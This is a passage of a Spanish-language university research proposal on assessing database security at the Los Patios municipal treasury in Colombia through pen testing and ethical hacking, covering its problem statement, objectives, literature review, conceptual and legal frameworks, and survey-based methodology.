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INTRODUCCION

El documento de investigacion que se desarrolla a continuacion corresponde a un
estudio basado principalmente en la seguridad de las bases de datos pertenecientes
a las organizaciones e instituciones del Estado, en este caso la secretaria de
Hacienda Municipal del Municipio de Los Patios. Para la ejecucion del estudio se
establece una serie de procedimientos a ejecutar, entre ellos esta lo
correspondiente al planteamiento del problema, en donde se expone la verdadera
situacion que se esta presentando junto a las posibles consecuencias y asi mismo

las estrategias y alternativas que se deben implementar frente a ello.

Seguidamente se exponen las correspondientes argumentaciones y razones para
el desarrollo de la investigacion junto con la parte motiva en aras de cumplir los
objetivos especificos que se han establecido. Ahora bien, otra de las acciones
importantes y trascendentales consiste en la revision bibliografica en donde se
obtuvieron diferentes teorias relacionadas con las variables de estudio entre las
cuales esta el uso de dos metodologias como estrategias de seguridad, la primera

de ellas denominada Pen Test y la segunda denominada Ethical Hacking.

Adicionalmente se plantea la parte metodolégica de la investigacidn, consistiendo
en la investigacion cuantitativa y la utilizacion de diferentes instrumentos
establecidos como los adecuados para la obtencion de informacion como
cumplimiento de las finalidades de investigacion estipuladas. Igualmente, en el
desarrollo del documento se observan los correspondientes resultados que se han
obtenido de las diferentes pruebas, asi como la identificacion de la falta de
seguridad en la informacién dentro de la institucion y asi mismo la necesidad de
intervenir oportunamente ante ello para ofrecer un sistema seguro en relacion a los

datos que se manejen y que se caracterizan por ser trascendentales y significativos.
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Por ultimo, se establecen las correspondientes referencias bibliograficas que
argumentan la informacion que se ha establecido en la investigacién con el animo
de soportar el aspecto de veracidad y calidad de la informaciéon suministrada,
finalizando respectivamente con las conclusiones y recomendaciones que se

obtuvieron en el desarrollo de la investigacion.
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1. TITULO

ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST Y ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS.
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2. EL PROBLEMA

2.1 PLANTEAMIENTO DEL PROBLEMA

A partir de los articulos 285 y 331 de la Constitucién Politica de 1991 surgen en
Colombia las entidades territoriales pertenecientes a la rama ejecutiva del poder
publico para dar cumplimiento a los fines del Estado, tales como politica social,
economica y de orden publico que de igual manera se encuentran consagrados en

el articulo segundo de la Carta Magna.

Las entidades territoriales cuentan con autonomia para la gestién de sus recursos
dentro de los limites de la Constitucion y la ley, con responsabilidades tan
importantes como administrar los recursos y establecer los tributos necesarios para
el cumplimiento de sus funciones y participar en las rentas nacionales, basado en
la Ley 715 de 2001, donde se establece la distribucién de competencias de los
servicios de educacion, salud y de proposito general entre la Nacion y las entidades

territoriales’.

En este sentido, las secretarias de hacienda cumplen un papel importante en el
funcionamiento de las entidades territoriales, cuyas dependencias estan
encargadas de organizar y ejecutar la formulacién y seguimiento de las politicas
economicas y las relacionadas con la planeacion y recaudo fiscal para el

funcionamiento sostenible de cualquier municipio.

Este es el caso de la Secretaria de Hacienda del municipio de Los Patios, la cual
tiene a su cargo ejecutar la estrategia financiera para el plan de desarrollo

economico y social, de acuerdo al marco fiscal de corto y mediano plazo, lo que

T UNIVERSIDAD NACIONAL ABIERTA Y A DISTANCIA. Leccion 6 Las Entidades territoriales [en
linea)]. [Citado 15 de octubre de 2016]. Disponible en Internet en: http://datateca.unad.edu.co/
contenidos/109107/Contenido_en_lineal/leccin_6_las_entidades_territoriales.htmi
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implica el manejo y procesamiento de datos de alta confidencialidad, tanto para la

administracién municipal como para los mismos contribuyentes.

Actualmente, la Secretaria de Hacienda esta expuesta a amenazas de seguridad
de la informacion, dada la posibilidad de ocurrencia de cualquier evento que pueda
causar dafo (material o inmaterial) sobre cualquier elemento del sistema. Desde el
ambito externo, esta entidad maneja datos sensibles y de gran interés para la
administracién municipal y para los diferentes contribuyentes y deudores, por lo que
existen amenazas como agresiones técnicas, naturales o humanas. A nivel interno,
se han identificado amenazas como la negligencia de los funcionarios que manejan
la informacion y los equipos de cdmputo, asi como otras condiciones técnicas y

fallas en los procesos operativos internos.

La causa de esta problematica se presenta por un lado, por la misma relevancia de
la informacién de los datos sobre recursos econdmicos, pago de impuestos, cobros
y deudas de contribuyentes que pueden llamar la atencion de la criminalidad, asi
como por la falta de recursos tecnoldgicos, humanos y de infraestructura que no le
permiten a esta Entidad Publica, contar con un sistema de seguridad para mejorar
la capacidad y las condiciones técnicas que reduzcan la susceptibilidad a las

amenazas y la posibilidad para responder o reaccionar a posibles dafios.

Dada esta situacion y teniendo en cuenta las recomendaciones del Ministerio de las
Tecnologias y la Comunicacion?, se requiere trabajar en el fortalecimiento de TIC
en la gestion del Estado y la informacion publica, que permita evaluar, estandarizar
y desarrollar la arquitectura de informacion para contribuir en la seguridad de los

datos del municipio y de los diferentes sectores econémicos que lo conforman,

2 COLOMBIA. MINISTERIO DE LAS TECNOLOGIAS DE INFORMACION Y COMUNICACION.
Fortalecimiento de las Tl de la informacion en la gestion del Estado y la informacién publica [en lineal].
[Citado 15 de octubre de 2016]. Disponible en Internet en: http://www.mintic.gov. co/portal/vive
digital/612/w3-propertyvalue-657.html
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obteniendo consecuencias significativas en relacion a las variables de estudio que

se han determinado.

2.2 FORMULACION DEL PROBLEMA
¢, Como se puede diagnosticar la seguridad en las Bases de Datos de la Secretaria

de Hacienda Municipal de Los Patios, mediante metodologias de Pen Test y Ethical
Hacking?

17



3. JUSTIFICACION

En la actualidad, la seguridad de la informacién poco a poco, va adquiriendo mayor
relevancia en cuanto a la informacién que tiene cualquier entidad bien sea publica
o privada, estando la Secretaria de Hacienda objeto de estudio en el ambito publico,
y teniendo entonces la obligacion, y por consiguiente la necesidad de guardar la
informacion en total confidencialidad, integridad, disponibilidad y proteccién. Sobre
este asunto, en dicha Secretaria ubicada en el municipio de los Patios, se observa
que carece de seguridad informatica idénea y adecuada, para evitar que, por
factores internos o externos, existan riesgos, fallas, amenazas y dafios de
informacion, teniendo como consecuencia pérdidas econdmicas, administrativas y

privadas.

De lo anterior la presente investigacion, le permite al organismo cumplir a cabalidad
con su mision y vision, al implantar un correcto control y manejo de la informacion,
porque se mejorara en la Secretaria de Hacienda del municipio de los Patios, en un
corto y mediano plazo, la seguridad de su sistema de informacion, garantizando la

confidencialidad, integridad, autenticidad y acceso de los datos.

Por otro lado, como la Secretaria de Hacienda es responsable ante la ley de la
gestion de los recursos que requiere el municipio, para la ejecucion del plan de
desarrollo, el proyecto le servira para minimizar los riesgos en los que esta
expuesta, principalmente por la criminalidad que se presenta y por la intervencion

humana, para causar danos a la integridad de la informacién que viola la ley.

Frente a la gestidn integral del riesgo de la Alcaldia Municipal, el proyecto puede
ofrecer a la Entidad mecanismos de proteccion de la informacion frente a sucesos
fisicos, tales como eventos naturales ajenos a la intervencién humana o técnicos

que son causados indirectamente por personas, como la negligencia y todas las

18



acciones u omisiones que pueden influir en la seguridad del sistema y que no son

facilmente predecibles.

Asi mismo, se determina que este espacio es importante para la implementacion de
estrategias y acciones desde el punto de vista académico en aras de proteger una
entidad tan importante que contiene informacion valiosa, correspondiente a las

contribuciones e impuestos que se cancelan.

Por ultimo, la administracidn municipal podra cumplir los requerimientos del
Ministerio TIC que busca hacer de la administracién publica, una gestién eficiente y
coordinada mediante las tecnologias de la informacion, que puedan ofrecer valor
agregado al ciudadano y al desarrollo de los diferentes sectores de la economia de

Los Patios.
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4. OBJETIVOS

4.1 OBJETIVO GENERAL

¢ Realizar un estudio de seguridad en las Bases de Datos, mediante metodologias

de Pen Test y Ethical Hacking en la Secretaria de Hacienda Municipal de Los Patios.

4.2 OBJETIVOS ESPECIFICOS

¢ Identificar el estado actual de metodologias de Pen Test y de Ethical Hacking

para bases de datos relacionales y no relacionales.

e Determinar las metodologias de Pen Test y de Ethical Hacking a ser utilizadas.

e Planear y realizar el diagndstico de las bases de datos de la Secretaria de

Hacienda Municipal de Los Patios.

e Aplicar las técnicas necesarias con las metodologias Pen Test y Ethical Hacking,
para generar un buen desarrollo informatico en la Secretaria de Hacienda Municipal

de los Patios.

20



5. ALCANCES Y LIMITACIONES

5.1 ALCANCES

El proyecto parte de la revision del estado actual de metodologias de Pen Testy de
Ethical Hacking para bases de datos relacionales y no relacionales, con la finalidad

de seleccionar las metodologias mas apropiadas para el desarrollo del proyecto.

Seguidamente, se propone planificar y ejecutar un diagnéstico de las bases de datos
de la Secretaria de Hacienda Municipal de Los Patios, que permita presentar
finalmente y de forma coherente una propuesta para mejorar la seguridad en las

bases de datos que fueron analizadas.

5.2 LIMITACIONES

Se proveen limitaciones técnicas por el mal funcionamiento de algunos equipos de
coémputo y redes que se encuentran instalados en la Secretaria de Hacienda de Los

Patios.

Existen otras limitaciones por parte de la poca disponibilidad de tiempo del personal
que labora en la Alcaldia Municipal, que puede afectar la recoleccion de informacion
sobre la capacidad y experiencia del recurso humano en la seguridad del sistema

de informacion.
El proyecto debe ser desarrollado en el lapso de tiempo establecido en el

cronograma de actividades, lo que limita el detalle del analisis para la realizacion

del diagnéstico del sistema e informacion.
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6. MARCO DE REFERENCIA

6.1 ESTADO DEL ARTE

Para el desarrollo de este proyecto, se tienen en cuenta referentes investigativos
que permitan analizar diferentes metodologias y resultados que fueron ejecutados
en diferentes ambitos, como entidades privadas y publicas. La revision de

antecedentes arroja los siguientes resultados:

A nivel internacional:

FERNANDEZ, E. Metodologia para el disefio de bases de datos seguras. La
Mancha: Universidad de Castilla, 2002.

La creciente importancia de la informacién en la sociedad actual ha llegado a
convertirse en el principal activo de las empresas y hace imprescindible su
proteccion. Esta proteccion abarca una gran cantidad de aspectos, como los
siguientes: seguridad fisica, autenticacion, biometria, seguridad en las redes de
comunicacion, criptografia, seguridad juridica, etc. Dentro de todos estos aspectos
destaca la seguridad de las bases de datos, que es donde residen al fin y al cabo
los datos a partir de los cuales las organizaciones obtienen la informacién y los

conocimientos necesarios para su supervivencia®.

En este referente, se analiza la seguridad en las bases de datos que ha tenido
importantes cambios y exigencias debido a los continuos avances tecnoldgicos, los
cada vez mas complejos requisitos organizacionales, la difusion de las
comunicaciones, el incremento de la vulnerabilidad de los sistemas de informacion,

los cambios legislativos, etc. Este tema aun constituye un problema que es dificil de

3 FERNANDEZ, E. Metodologia para el disefio de bases de datos seguras. La Mancha: Universidad
de Castilla, 2002.
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resolver y requiere de soluciones metodologicas en las que la seguridad sea
considerada como un factor importante a lo largo del proceso de disefio de las bases

de datos a nivel nacional:

VELASCO, A. El derecho informatico y la gestion de la seguridad de la informacion

una perspectiva con base en la Norma ISO 27001.

Se tiene en cuenta este referente porque analiza la existencia y diversas
modalidades que incluye el Derecho informatico para crear conciencia acerca de la
posicion que deben tomar los diversos actores econdmicos en la era de la
informacion para asegurar una adecuada politica de seguridad de la informacion
que, ante la falta de una legislacion nacional sobre el tema, debe basarse en los
estandares internacionales, el derecho comparado y autonomia de la voluntad. La
metodologia empleada para explicar las diversas areas de impacto es la seguida
por la norma ISO 27001 en el dominio que hace referencia al cumplimiento y que
comprende: La proteccidon de datos personales; la contratacién de bienes
informaticos y telematicos; el derecho laboral y prestacion de servicios, respecto de
la regulacion de aspectos tecnoldgicos; los servicios de comercio electronico; la

propiedad intelectual, y el tratamiento de los incidentes informaticos*.

A nivel regional:

MOJICA, M. Implementacion y administracion del sistema de informacién del
Ministerio de Educacion Nacional SICIED (sistema interactivo de consulta de
infraestructura educativa). Trabajo de Grado. Ingeniero de Sistemas. San José de
Cucuta: Universidad Francisco de Paula Santander. Facultad de Ingenieria.

Departamento de Ingenieria de Sistemas, 2011.

4VELASCO, A. El derecho informatico y la gestion de la seguridad de la informacién una perspectiva
con base en la Norma ISO 27001 [en linea]. [Citado 18 de octubre de 2016]. Disponible en Internet
en: http://www.scielo.org.co/scielo.php?script=sci_arttext&pid=S0121-86972008000
100013&Ing=en&nrm=iso
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Se tiene en cuenta este referente por desarrollarse en el sector publico. En este
documento, se elaboraron actividades para el mantenimiento de la integridad, la
seguridad, la disponibilidad y la confiabilidad de los datos. Asi mismo, se instal6 el
sistema de informacion Sicied, en los equipos de la Secretaria de Educacion de
Duitama y Secretaria de Educacion de Guainia. Se logré administrar el sistema de
forma satisfactoria mediante politicas de seguridad como gestion de autorizaciones,
restricciones de integridad como integridad de dominio. Por ultimo, se realizaron
jornadas de capacitacion para los funcionarios de las secretarias de educacion de

Duitama y Guainia, con base en el funcionamiento del Sicied®.

6.2 MARCO TEORICO

6.2.1 Amenazas informaticas. Los cambios que ha dado la tecnologia en la
actualidad son trascendentales, su desarrollo le ha permitido a las entidades
publicas y privadas, tener acceso a cualquier informacion, situacion favorable para
poder solucionar de forma rapida alguna inquietud que se le presente o sacar
provecho de ella, para guardar o compartir informacion. Es entonces, una
herramienta esencial que se usa para lograr los objetivos de negocio o desarrollar
actividades en su vida cotidiana; al mismo tiempo, todos tienen que enfrentarse con
una amplia gama de amenazas y vulnerabilidades asociadas a los entornos
informaticos de hoy. Porque la seguridad de la informacién es mas que un problema
de seguridad de datos en los computadores; debe estar basicamente orientada a
proteger la propiedad intelectual y la informacién importante de las organizaciones

y de las personas®.

5 MOJICA, M. Implementacién y administracion del sistema de informacién del Ministerio de
Educaciéon Nacional SICIED (sistema interactivo de consulta de infraestructura educativa). Trabajo
de Grado. Ingeniero de Sistemas. San José de Cucuta: Universidad Francisco de Paula Santander.
Facultad de Ingenieria. Departamento de Ingenieria de Sistemas, 2011.

6 TARAZONA, C. Amenazas informatica s y seguridad de la informacion. México: Etek Internacional,
2007. p. 138.
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Ahora bien, frente a las amenazas informaticas, es evidente que el sistema digital
es muy amplio y se ha prestado para que personas marginadas denominadas
Hackers tengan fines maliciosos centrados en producir dafios para favorecer tan
sélo intereses particulares. Sobre este asunto, cabe resaltar que, ante una mejor
proteccion de la situacién con conocimientos, herramientas de software y hardware,
se puede poseer mayor seguridad y confiabilidad, sin embargo, para ello es
pertinente la implementacion de sistemas, con estrategias que permitan la reduccion
de las amenazas, que son preocupantes en una Entidad Publica, pues el

compromiso es mayor para evitar que se presenten vulnerabilidades en el sistema.

De lo anterior, conviene senalar que los riesgos de la informacion se presentan
cuando confluyen dos elementos: amenazas y vulnerabilidades, las dos estan
intimamente ligadas, y no puede haber ninguna consecuencia sin la presencia
conjunta de éstas. Sin embargo, en algunos casos, las amenazas deben tomar
ventaja de las vulnerabilidades y pueden venir de cualquier parte, interna o externa,

relacionada con el entorno de las organizaciones’.

Seguidamente, frente a estos dos aspectos mencionados se han suscitado
controversias, al indicar que en primer lugar se encuentra la vulnerabilidad para
poder recibir amenazas. No obstante, se debe enunciar que las amenazas se
pueden generar desde el interior de la organizacion y es en este aspecto, en donde
se debe crear mayor proteccion para la no obtencion de consecuencias

perjudiciales.

Asimismo, sobre este tema, se pueden agrupar las amenazas de la informacién,
algunas de estas son®: el virus informatico o cddigo malicioso, que se genera por

programas que contienen malware y se hacen sin el consentimiento expreso del

7 Ibid., p. 138.
8 |bid., p. 138.

25



autorizado al manejar la plataforma; seguidamente esta el uso no autorizado de
Sistemas Informaticos, como la misma palabra lo indica se utilizan de forma
indebida por personas ajenas a las autorizadas en el programa; también se
encuentra el robo de informacién, que ocurre cuando de forma ilegal cometen el
delito al obtener informacién confidencial que no le pertenece; por otro lado, estan
los fraudes basados en el uso de computadores, conocido a su vez como fraude
cibernético o espionaje, el cual es uno de los mas usados por los hackers quienes
promueven la pirateria informatica; seguidamente existe la suplantacién de
identidad, en ella otra persona se hace pasar por otra, para lograr obtener
informacion o provecho econdmico; por otro lado esta la denegacion de servicios,
también conocida como DoS, en ella se ataca es al sistema compartido entre varias
computadoras, para evitar que continuen extrayendo informacién no autorizada;
otra amenaza, son los ataques de fuerza bruta, en ella intentan reiteradamente
recuperar una clave perdida o lo contrario adivinar la clave para acceder facilmente
a la base de datos; asi mismo, se encuentra la alteracion de la informacion, en ella
personas inescrupulosas, modifican, alteran o eliminan informacion contenida en los
programas; para ultimar, esta la divulgacion de Informacion o sabotaje, intervienen
personas con malicia, comparten informacion confidencial y reservada, junto con
declaraciones econdémicas o administrativas; y finalmente se encuentran los
desastres naturales, producto de casos fortuitos y de fuerza mayor, los cuales deben

ser prevenidos.
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Figura 1. Amenazas para la seguridad

|— Amenazas para la Sequridad —‘
’7 Hinmanas —‘ Desasties Naturales

Maliciosas No Maliciosas Incendios
Inundaciones
Terremotos
Empleados

lgnor antes
Fuente: GUTIERREZ, J y ZUCCARDI, G: Universidad Javeriana.

Externas lnternas

De lo anterior, en esa breve explicacion, la amenaza que se tiene en cuenta segun
el objeto de estudio, consiste en los actos maliciosos 0 malintencionados, puesto
que la investigacion se basa principalmente en establecer estrategias, para estar

protegidos, seguros y prevenidos, ante cualquier ataque que se presente.

6.2.2 Seguridad de la informacién. El panorama de los procesos tecnoldgicos, en
la globalizacibn ha tenido diversos cambios, que surgieron después del
pronunciamiento de la OCDE?® quien desde tiempo atras, desarrollé por primera vez
en 1992 una serie de Directrices para la Seguridad de los Sistemas de Informacion,
las cuales tratan de promover el uso y desarrollo de una cultura de la Seguridad, no
sblo en el desarrollo de Sistemas y Redes de comunicacion, sino mediante la
adopcién de "nuevas formas de pensamiento y comportamiento en el uso de la
interconexion de esos sistemas". De lo anterior, con la evolucion de los sistemas de

informacion y de la forma de hacer negocios o acuerdos, la informaciéon se ha

9 Organizacion para la Cooperacion y el Desarrollo Econémico.
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convertido en uno de los activos de mayor valor para las personas y especialmente
para las organizaciones bien sea publicas o privadas. Teniendo como punto de
partida que "los sistemas, redes y servicios de informacién afines, deben ser fiables
y seguros, dado que los participantes son cada vez mas dependientes de estos.
Solo un enfoque que tenga en cuenta los intereses de todos los participantes y la
naturaleza de los sistemas, redes y servicios afines, puede proporcionar una
seguridad efectiva"'®>. Como lo sostiene el autor Tarazona, se debe plantear lo
correspondiente a la seguridad efectiva, con medidas de prevencion y teniendo en

cuenta una serie de parametros para reforzar las vulnerabilidades y amenazas.

Asi pues, cada dia frente a este tema se tiene mayor relevancia, porque suscitan
diversas esferas del conocimiento humano, relacionadas bien sea para garantizar
la seguridad de la informacion o para tener el poder social, por medio de
procesamientos ilegales de la misma. Es por eso que se considera importante, tener
en cuenta las politicas de seguridad que giran en torno a esto, para conocer y tener
claridad, de qué esta protegido y cuales serian las herramientas que se requieren
para la seguridad, evitando que se presenten ataques cibernéticos, los cuales
desvian o alteran la informacién. La cual, segun cifras de Estados Unidos, siguen
siendo los virus informaticos la principal fuente de pérdida financiera en las
organizaciones, seguidos por los impactos derivados de accesos no autorizados a
los sistemas, el robo de informacion de propiedad industrial, y la pérdida de
computadores personales o elementos de computaciéon movil, son las causas que

generan mas del 74% del total de las pérdidas financieras'".

Por otro lado, desde el punto de vista académico también se sefiala que la
informacion es uno de los aspectos mas importantes en las organizaciones puesto
que de ahi se guarda la base de datos y demas aspectos relevantes, que deben ser

protegidos, detectados y recuperados de la mejor forma posible, para evitar que

0 TARAZONA. Op. cit., p. 142.
" Ibid., p. 140.
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concurran como consecuencia incidentes y divulgaciones indebidas en los medios
de comunicacién, provocando a su vez pérdidas para la entidad, al perder

credibilidad, confianza e integridad.

6.2.3 Las metodologias de Pen Test y Ethical Hacking. Ahora bien, con respecto
a estas metodologias, son las encargadas de administrar la seguridad informatica
porque hace que se efectuen y garanticen las politicas de seguridad, disminuyendo
entonces los riegos, al contar con las medidas de seguridad y con una base de datos
estructurada, segun el modelo de datos que representan las relaciones y
restricciones existentes entre los objetos, estructurados con independencia,
integridad y seguridad. De lo anterior, conviene diferenciar entre Base de Datos y el
Sistema General de Bases de Datos (SGBD), la primera, es el almacenamiento
donde se guardan los datos y la segunda es lo que manipula la informacion
almacenada mediante procesos de lectura/escritura, al encargarse de modificar los

datos y, controlar la integridad y seguridad.

De lo anterior, el Pen test conocido también como penetracion testing, se encarga
a su vez de establecer las debilidades, sensibilidades y criticas que tendria la
Secretaria de Hacienda del Municipio de los Patios, teniendo como métodos la
evaluacion de la seguridad del sistema, al manejar los requerimientos propios que
evitan la produccion de riesgos, como por ejemplo la ubicacion y deteccion de los
“‘hackers”, los cuales tienen como objetivo, el control del sistema, para obtener y
alterar la informacion. Consiste entonces “en un modelo que reproduce intentos de
acceso de un potencial intruso desde los diferentes puntos de entrada que existan,
tanto internos como remotos, a cualquier entorno informatico, permitiendo

demostrar los riesgos funcionales de las vulnerabilidades detectadas”'?. Este

2 MONTERO, H. Técnicas del penetration testing [en linea]. [Citado 18 de octubre de 2016].
Disponible en Internet en: http://www.cybsec.com/upload/VictorMontero-SeminarioTecnicasde
IPenetrationTestingArgentina.pdf
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modelo es trascendental porque por medio de él, se analizan los ataques que se
estan presentando a la informacién de la Entidad e igualmente identifica la
vulnerabilidad de la organizacion, para la creacion de acciones que minimicen estas

dificultades.

Queda claro entonces, que en la metodologia Pen test se tiene en cuenta un ataque
basado en fallas y vulnerabilidades conocidas por expertos que no han podido ser
resueltas adecuadamente. Estas vulnerabilidades se definen como “debilidades en
el disefio de un sistema, en su implementacion, operabilidad y gestién que podria
ser comprometido, violando su politica de seguridad”'®. Por lo anterior, para unir
todas esas falencias se empiezan aplicar las pruebas ejecutando la seguridad en
las aplicaciones y teniendo en cuenta los estandares ISO 17799 e ISO 27001 para
desarrollar un marco de gestion de la seguridad de la informacién efectivo, que le
permita proteger sus activos de informacién importantes, minimizando sus riesgos
y optimizando las inversiones y esfuerzos necesarios para su proteccién™. Con la
norma anunciada no solo se optimiza la gestién de riesgos con el ambiente de
pruebas, sino que a su vez se evaluan los mismos, para evitar los atentados

informaticos y la adulteracion o pérdida de la informacién.

Por otro lado, se implementa también la metodologia Ethical Hacking (hackeo ético),
en ella se evaluan también las vulnerabilidades existentes en el sistema, pero por
medio de un test de intrusion, el cual evalua la seguridad fisica y légica de los
sistemas de informacion, asi como de las redes de computadoras, bases de datos,
aplicaciones web y servidores, etc. Esto se realiza con la finalidad de tener acceso
al sistema de informacién y demostrar que este puede ser vulnerable. Por lo tanto,
es de gran utilidad para la Secretaria, porque permite tomar medidas preventivas

frente a los posibles ataques que se estan presentando o pudieran ocurrir. En este

13 PEREZ, M. (2012). Médulo 3: auditorias y seguridad. tema 4: comparativa metodologias auditorias
y pentesting. Elche: Campus Virtual, p. 5.
4 1bid., p. 143.
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sentido, conviene aclarar que el Ethical Hacking consiste en “una simulacion de
posibles escenarios donde se reproducen ataques de manera controlada con
actividades propias de los delincuentes cibernéticos, esta forma de actuar tiene su
justificacion en la idea de que: Para atrapar a un intruso, primero debes pensar como

intruso"1°.

Para ultimar, se reitera que la seguridad informatica requiere de diferentes métodos
y herramientas para garantizar la proteccion de la informacion, a partir de lo cual,
los servicios de Pen test y Ethical Hacking permiten hacer diferentes pruebas que
incluyen “tacticas de ingenieria social, uso de herramientas de hacking, uso de
Metasploit, las cuales explotan vulnerabilidades conocidas” '® , que al final son
recolectadas para atacar con los sistemas operativos, la informacion expuesta y el
manejo de la entidad en la aplicacion, logrando la ejecucion de la seguridad que
evita ser suplantada al tener usuarios de registro y manipulada al poseer nuevas

medidas de proteccion frente a los ataques de fuerza bruta.

6.3 MARCO CONCEPTUAL

¢ Amenaza: Una amenaza informatica es toda circunstancia, evento o persona que
tiene el potencial de causar dafio a un sistema en forma de robo, destruccion,

divulgacion, modificacion de datos o negacion de servicio (DoS)".

o Ataques multi-etapas: Es una infeccidén que normalmente implica un ataque
inicial, seguido por la instalacion de una parte adicional de cédigos maliciosos. Un

ejemplo es un troyano que descarga e instala adware'8.

15 REYES, A. Ethical Hawking [en linea]. [Citado 18 de octubre de 2016]. Disponible en Internet en:
https://www.seguridad.unam.mx/descarga.dsc?arch=2776

16 Ibid., p. 1.

17 SYMANTEC. Glosario de Seguridad 101 [en linea]. [Citado 25 de octubre de 2016]. Disponible en
Internet en: https://www.symantec.com/es/mx/theme.jsp?themeid=glosario-de-seguridad

8 |bid., p. 1.
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o Ataques Web: Es un evento malicioso que se comete contra una aplicacion
cliente y se origina desde un lugar en la Web, ya sea desde sitios legitimos atacados
o sitios maliciosos que han sido creados para atacar intencionalmente a los usuarios

de ésta’®.

e Autenticidad: La legitimidad y credibilidad de una persona, servicio o elemento

debe ser comprobable??,

¢ Confidencialidad: Datos que solo pueden ser legibles y modificados por
personas autorizados, tanto en el acceso a datos almacenados como también

durante la transferencia de ellos?'.

e Disponibilidad: Acceso a los datos debe ser garantizado en el momento
necesario. Hay que evitar fallas del sistema y proveer el acceso adecuado a los

datos?2.

¢ Elementos de Informacion: También “Activos” o “Recursos” de una instituciéon
que requieren proteccion, para evitar su perdida, modificacion o el uso inadecuado
de su contenido, para impedir dafios para la institucién y las personas que salen en
la informacion. Se distingue y divide tres grupos, a) Datos e Informacién, b)

Sistemas e Infraestructura y c) Personal®3.

19 lbid., p. 1.

20 RSS ENTRIES. Gestion de Riesgo en la Seguridad Informatica 101 [en linea]. [Citado 25 de
octubre de 2016]. Disponible en Internet en: https://protejete.wordpress.com/glosario/

21 |bid., p. 1.

22 |bid., p. 1.

23 |bid., p. 1.
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¢ Gestion de Riesgo: Método para determinar, analizar, valorar y clasificar el
riesgo, para posteriormente implementar mecanismos que permitan controlarlo.
Esta compuesta por cuatro fases: 1) Analisis, 2) Clasificacion, 3) Reduccién y 4)

Control de Riesgo?*.

¢ Integridad: Datos son completos, no-modificados y todos los cambios son

reproducibles (se conoce el autor y el momento del cambio) 25.

e Seguridad Informatica: Procesos, actividades, mecanismos que consideran las
caracteristicas y condiciones de sistemas de procesamiento de datos y su

almacenamiento, para garantizar su confidencialidad, integridad y disponibilidad?®.

e Spyware: Paquete de software que realiza un seguimiento y envia informacién
de identificacién personal o informacidn confidencial a otras personas. La
informacion de identificacion personal es la informacion que puede atribuirse a una
persona especifica, como un nombre completo. La informacién confidencial incluye
datos que la mayoria de las personas no estaria dispuesta a compartir con nadie e
incluye datos bancarios, numeros de cuentas de tarjeta de crédito y contrasenas.
Los receptores de esta informacion pueden ser sistemas o partes remotas con

acceso local?’.

¢ Vulnerabilidad: Es un estado viciado en un sistema informatico (o conjunto de
sistemas) que afecta las propiedades de confidencialidad, integridad vy

disponibilidad (CIA) de los sistemas?8.

24 pid. p. 1.
2 |pid. p. 1.
% |pid., p. 1.
27 SYMANTEC. Op. cit., p. 1.
28 |pid., p. 1.
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6.4 MARCO LEGAL

Ley 603 de 2000. Esta ley se refiere a la protecciéon de los derechos de autor en
Colombia. Recuerde: el software es un activo, ademas esta protegido por el
Derecho de Autor y la Ley 603 de 2000 obliga a las empresas a declarar lo referente
a la legalidad del tipo de software instalado en los equipos de computo de la

empresa.

Ley estatutaria 1266 del 31 de diciembre de 2008. Por la cual se dictan las
disposiciones generales del Habeas Data y se regula el manejo de la informacién
contenida en bases de datos personales, en especial la financiera, crediticia,
comercial, de servicios y la proveniente de terceros paises y se dictan otras

disposiciones.

Ley 1273 del 5 de enero de 2009. Por medio de la cual se modifica el Cédigo Penal,
informacion y de los datos”- y se preservan integralmente los sistemas que utilicen

las tecnologias de la informacién y las comunicaciones, entre otras disposiciones.

Ley 1341 del 30 de julio de 2009. Por la cual se definen los principios y conceptos
sobre la sociedad de la informacion y la organizacion de las Tecnologias de la
Informacién y las Comunicaciones -TIC-, se crea la Agencia Nacional del Espectro

y se dictan otras disposiciones.

Ley estatutaria 1581 de 2012. Entr6é en vigencia la Ley 1581 del 17 de octubre
2012 de proteccion de datos personales, sancionada siguiendo los lineamientos
establecidos por el Congreso de la Republica y la Sentencia C-748 de 2011 de la

Corte Constitucional.
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7. DISENO METODOLOGICO

7.1 TIPO DE INVESTIGACION

Se utilizara un tipo de investigacion cuantitativo y descriptivo para recopilar la
informacion requerida para el analisis de la seguridad en las Bases de Datos,
mediante metodologias de Pen Testy Ethical Hacking en la Secretaria de Hacienda
Municipal de Los Patios. La investigacion descriptiva permite identificar las
caracteristicas del universo de investigacién, sefiala formas de conducta y actitudes
del universo investigado?®. Este tipo de investigacion permite identificar, procesar y
analizar los datos que se toman por diferentes medios, como la observacion directa,

la encuesta y las listas de chequeo, que son muy utiles en este tipo de estudios.

7.2 POBLACION Y MUESTRA

7.2.1 Poblacién. La poblacion corresponde a la totalidad de los funcionarios
publicos adscritos a la que Secretaria de Hacienda Municipal de Los Patios,
Departamento Norte de Santander, para lo cual su funciéon principal es el
procesamiento de la informacién que a diario se ingresa por las diferentes

transacciones y operaciones realizadas por la comunidad que lo solicita.

29 MENDEZ, C. Metodologia de la investigacién para ciencias empresariales. Bogota: Mc Graw Hill,
2003.
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7.2.2 Muestra. La muestra corresponde a los funcionarios que estan adscritos a la
Secretaria de Hacienda de Los Patios y que tienen informacién importante para el

diagnostico que se debe aplicar en las bases de datos de esta dependencia.

Por tratarse de un numero reducido de personal, se aplicara un muestreo no
probabilistico para tomar el 100% de los funcionarios de la Secretaria de Hacienda.
También se tomara como muestra la totalidad de los datos contenidos de forma

digital en la base de datos

7.3 TECNICAS DE RECOLECCION DE INFORMACION

Fuentes primarias. Sera la informacion que el autor del proyecto recopilara
directamente en la Secretaria de Hacienda de Los Patios, por medio de
instrumentos como la observacion directa, la encuesta aplicada a funcionarios y la
lista de chequeo sobre las condiciones de la infraestructura fisica y tecnolégica

disponible.

Fuentes secundarias. Se tomaran de documentos ya elaborados, como libros sobre
gestion de la seguridad informatica, bases de datos de la Alcaldia de Los Patios,

normatividad y articulos sobre gestidn de la informacién y proteccién de datos.

7.4 INSTRUMENTOS DE RECOLECCION DE DATOS

Fichas técnicas: Se utilizaran para organizar informacion de diferentes libros,
proyectos y articulos sobre el uso e implementacion de metodologias de Pen Test
y de Ethical Hacking para bases de datos relacionales y no relacionales.

Encuesta: Se aplicara una encuesta estructurada con opcién de respuesta en

seleccion multiple para tomar informacion sobre los conocimientos, experiencia y
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habilidades del personal de la Secretaria de Hacienda en el manejo de los datos

almacenados en esta dependencia.

Lista de chequeo: Se aplicara una lista de verificacion para determinar el estado
